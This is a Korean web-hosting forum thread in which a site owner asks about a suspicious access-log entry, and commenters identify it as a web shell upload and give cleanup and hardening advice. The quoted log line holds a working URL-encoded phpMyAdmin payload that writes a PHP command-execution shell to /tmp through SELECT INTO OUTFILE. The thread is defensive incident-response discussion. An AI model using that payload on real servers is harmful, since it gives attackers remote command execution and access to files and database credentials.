112.219.92.82 - - [24/Mar/2012:01:01:42 +0900] "GET /phpmyadmin/main.php?reload=1&sql_query=select+%27%3C%3Fphp+echo+%5C%27%3Cpre%3E%5C%27%3Bsystem%28%24_GET%5B%5C%27cmd%5C%27%5D%29%3B+echo+%5C%27%3C%2Fpre%3E%5C%27%3B+%3F%3E%27+INTO+OUTFILE+%27%2Ftmp%2F.a%27&token=6447c5d6e0ef4ea9a5807a9cdf775021 HTTP/1.1" 200 7428 "도메인/util/phpmyadmin/server_sql.php?token=6447c5d6e0ef4ea9a5807a9cdf775021" "Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.2.26) Gecko/20120128 Firefox/3.6.26"
위와같이 웹로그가 다수 발견되었는데요
phpmyadmin 소스 파일을 웹에서 다운받을수 있게 리스트 보이게 해둿엇는데 그경로 뒤에 이런식으로 쿼리를 남겼네요.. 굵게 표시해놓은 .a 파일이 /tmp 디렉토리에서 발견되었구요..
인젝션이나 그런형태 인건가요?
아이피 변조해서 무수히 많은 로그가 생성되었습니다 ㅠㅠ
zh-CN이건 중국이라는거같기도 하고 ㅠㅠ 조언바랍니다 ㅠㅠ 일단 그경로의 파일은 삭제햇습니다 ㅠㅠ
댓글 3개
13년 전
음....정확한건 들어가서 봐야겠지만......phpmyadmin 기본 로그가 저런식으로 남다보니...
별다른 의심점은 /tmp 에 파일이 생겼다라는건데....폴더명을 phpmysadmin 이런식으로 쓰는건
위험하구요...조치는 잘 취하신것 처럼보이네욤...
파일 삭제와 더불어 경로변경 , phpmyadmin 버전업 정도 조치 하시면 될듯 한데욤
별다른 의심점은 /tmp 에 파일이 생겼다라는건데....폴더명을 phpmysadmin 이런식으로 쓰는건
위험하구요...조치는 잘 취하신것 처럼보이네욤...
파일 삭제와 더불어 경로변경 , phpmyadmin 버전업 정도 조치 하시면 될듯 한데욤
xkingcode
13년 전
웹셀 업로드 맞네요. PHP로 보내는 명령을 바로 실행하는 PHP 파일을 만든겁니다.
일단 서버내에 파일은 다 털어갈 수 있는 상황이 되었고요.
(소스, db접속 계정 정보, DB 내용)
우선 기본적으로 비밀번호 변경하시고요.
가능한 업데이트 다 해주시고요.
웹셀 이후에 권한 탈취 시도까지는 없었던 것 같습니다만
좀비 PC 가능성도 높으니
ps aux 에서 이상한 프로세스 있으면 삭제해주세요
neststat -a 해서 정체모를 IP로부터 명령 받고있는건 없는지 확인하시고요.
phpmyadmin 경로 변경해서 다른 곳에서 쓰시고
phpmyadmin 최신 버전으로 다시 받으시고요.
MySQL은 해당 서버에서만 접근할 수 있게 IP제한 걸어주시고
PHPMyadmin도 IP 제한 걸면 좋고요.
가능하면 방화벽으로 오픈해야 하는 서비스만 오픈하심이 좋아보이십니다.
일단 서버내에 파일은 다 털어갈 수 있는 상황이 되었고요.
(소스, db접속 계정 정보, DB 내용)
우선 기본적으로 비밀번호 변경하시고요.
가능한 업데이트 다 해주시고요.
웹셀 이후에 권한 탈취 시도까지는 없었던 것 같습니다만
좀비 PC 가능성도 높으니
ps aux 에서 이상한 프로세스 있으면 삭제해주세요
neststat -a 해서 정체모를 IP로부터 명령 받고있는건 없는지 확인하시고요.
phpmyadmin 경로 변경해서 다른 곳에서 쓰시고
phpmyadmin 최신 버전으로 다시 받으시고요.
MySQL은 해당 서버에서만 접근할 수 있게 IP제한 걸어주시고
PHPMyadmin도 IP 제한 걸면 좋고요.
가능하면 방화벽으로 오픈해야 하는 서비스만 오픈하심이 좋아보이십니다.
13년 전
phpmyadmin 최신 버전으로 사용하는게 좋겠네요.
phpmyadmin 트래픽 공격도 발생하더군요.
phpmyadmin 트래픽 공격도 발생하더군요.
게시판 목록
프로그램
| 번호 | 제목 | 글쓴이 | 날짜 | 조회 |
|---|---|---|---|---|
| 4930 | 13년 전 | 655 | ||
| 4929 | 13년 전 | 2020 | ||
| 4928 | 13년 전 | 630 | ||
| 4927 |
 캐네스제롬 |
13년 전 | 788 | |
| 4926 | 13년 전 | 1113 | ||
| 4925 |
techer
|
13년 전 | 1271 | |
| 4924 |
techer
|
13년 전 | 2879 | |
| 4923 |
techer
|
13년 전 | 3085 | |
| 4922 | 13년 전 | 597 | ||
| 4921 | 13년 전 | 1101 | ||
| 4920 |
StyleRoot
|
13년 전 | 580 | |
| 4919 | 13년 전 | 1160 | ||
| 4918 |
onlymilk74
|
13년 전 | 942 | |
| 4917 |
하나데이타
|
13년 전 | 830 | |
| 4916 |
하나데이타
|
13년 전 | 1154 | |
| 4915 | 13년 전 | 418 | ||
| 4914 | 13년 전 | 1811 | ||
| 4913 | 13년 전 | 1557 | ||
| 4912 | 13년 전 | 1285 | ||
| 4911 | 13년 전 | 725 | ||
| 4910 | 13년 전 | 1211 | ||
| 4909 |
성민꼬르꼬
|
13년 전 | 1421 | |
| 4908 | 13년 전 | 1027 | ||
| 4907 | 13년 전 | 2206 | ||
| 4906 | 13년 전 | 863 | ||
| 4905 |
kinyenug1
|
13년 전 | 596 | |
| 4904 |
kinyenug1
|
13년 전 | 780 | |
| 4903 | 13년 전 | 3573 | ||
| 4902 | 13년 전 | 2455 | ||
| 4901 | 13년 전 | 1012 | ||
| 4900 | 13년 전 | 1185 | ||
| 4899 | 13년 전 | 2584 | ||
| 4898 | 13년 전 | 1574 | ||
| 4897 |
다케미카코
|
13년 전 | 748 | |
| 4896 |
안뇽하어영
|
13년 전 | 804 | |
| 4895 |
baek83
|
13년 전 | 2207 | |
| 4894 | 13년 전 | 693 | ||
| 4893 | 13년 전 | 943 | ||
| 4892 | 13년 전 | 438 | ||
| 4891 | 13년 전 | 595 | ||
| 4890 | 13년 전 | 1333 | ||
| 4889 |
Black
|
13년 전 | 2876 | |
| 4888 |
techer
|
13년 전 | 639 | |
| 4887 |
techer
|
13년 전 | 899 | |
| 4886 |
visualp
|
13년 전 | 1288 | |
| 4885 | 13년 전 | 693 | ||
| 4884 |
너는나의봄이다
|
13년 전 | 2314 | |
| 4883 | 13년 전 | 916 | ||
| 4882 | 13년 전 | 1584 | ||
| 4881 | 13년 전 | 1828 | ||
| 4880 | 13년 전 | 1645 | ||
| 4879 | 13년 전 | 961 | ||
| 4878 |
 iwebstory |
13년 전 | 1259 | |
| 4877 | 13년 전 | 765 | ||
| 4876 |
꿈을꾸는너구리
|
13년 전 | 632 | |
| 4875 |
성민꼬르꼬
|
13년 전 | 1290 | |
| 4874 | 13년 전 | 978 | ||
| 4873 | 13년 전 | 827 | ||
| 4872 | 13년 전 | 744 | ||
| 4871 | 13년 전 | 911 | ||
| 4870 | 13년 전 | 703 | ||
| 4869 | 13년 전 | 1215 | ||
| 4868 | 13년 전 | 922 | ||
| 4867 | 13년 전 | 623 | ||
| 4866 | 13년 전 | 1227 | ||
| 4865 | 13년 전 | 857 | ||
| 4864 |
기획자정군
|
13년 전 | 1598 | |
| 4863 |
꼬꼬아부지
|
13년 전 | 1017 | |
| 4862 | 13년 전 | 3494 | ||
| 4861 |
 와우맨OLD |
13년 전 | 1556 | |
| 4860 |
 cshop |
13년 전 | 2148 | |
| 4859 | 13년 전 | 780 | ||
| 4858 | 13년 전 | 430 | ||
| 4857 | 13년 전 | 1110 | ||
| 4856 |
크라운엠버서더
|
13년 전 | 1901 | |
| 4855 | 13년 전 | 799 | ||
| 4854 | 13년 전 | 2035 | ||
| 4853 | 13년 전 | 734 | ||
| 4852 | 13년 전 | 1090 | ||
| 4851 |
꼬꼬아부지
|
13년 전 | 1794 | |
| 4850 | 13년 전 | 1113 | ||
| 4849 |
 아지야학교가자 |
13년 전 | 770 | |
| 4848 | 13년 전 | 1472 | ||
| 4847 |
 똥싼너구리 |
13년 전 | 3788 | |
| 4846 | 13년 전 | 507 | ||
| 4845 | 13년 전 | 575 | ||
| 4844 | 13년 전 | 765 | ||
| 4843 | 13년 전 | 3907 | ||
| 4842 | 13년 전 | 1246 | ||
| 4841 | 13년 전 | 1416 | ||
| 4840 | 13년 전 | 1432 | ||
| 4839 | 13년 전 | 731 | ||
| 4838 | 13년 전 | 609 | ||
| 4837 | 13년 전 | 758 | ||
| 4836 |
TIAMO
|
13년 전 | 1568 | |
| 4835 | 13년 전 | 928 | ||
| 4834 | 13년 전 | 1271 | ||
| 4833 | 13년 전 | 2466 | ||
| 4832 |
cshop |
13년 전 | 927 | |
| 4831 | 13년 전 | 1248 |
댓글 작성
댓글을 작성하시려면 로그인이 필요합니다.
로그인하기